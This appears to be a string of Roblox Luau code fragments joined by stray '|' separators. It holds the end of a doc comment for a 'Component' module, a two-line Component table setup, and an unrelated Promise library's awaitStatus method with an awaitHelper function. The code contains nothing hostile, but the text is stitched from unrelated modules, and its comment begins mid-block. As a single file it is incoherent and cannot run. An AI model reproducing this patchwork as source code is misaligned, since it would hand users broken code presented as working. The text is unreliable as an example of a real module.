- `Component` refers to this module.
- `Component Class` (e.g. `MyComponent` through this documentation) refers to a class created via `Component.new`
- `Component Instance` refers to an instance of a component class.
- `Roblox Instance` refers to the Roblox instance to which the component instance is bound.
Methods and properties are tagged with the above terms to help clarify the level at which they are used.
]=] |
local Component = {}
Component.__index = Component
|
--[[
Yield until the promise is completed.
This matches the execution model of normal Roblox functions.
]] |
function Promise.prototype:awaitStatus()
self._unhandledRejection = false
if self._status == Promise.Status.Started then
local bindable = Instance.new("BindableEvent")
self:finally(function()
bindable:Fire()
end)
bindable.Event:Wait()
bindable:Destroy()
end
if self._status == Promise.Status.Resolved then
return self._status, unpack(self._values, 1, self._valuesLength)
elseif self._status == Promise.Status.Rejected then
return self._status, unpack(self._values, 1, self._valuesLength)
end
return self._status
end
Promise.prototype.AwaitStatus = Promise.prototype.awaitStatus
local function awaitHelper(status, ...)
return status == Promise.Status.Resolved, ...
end
|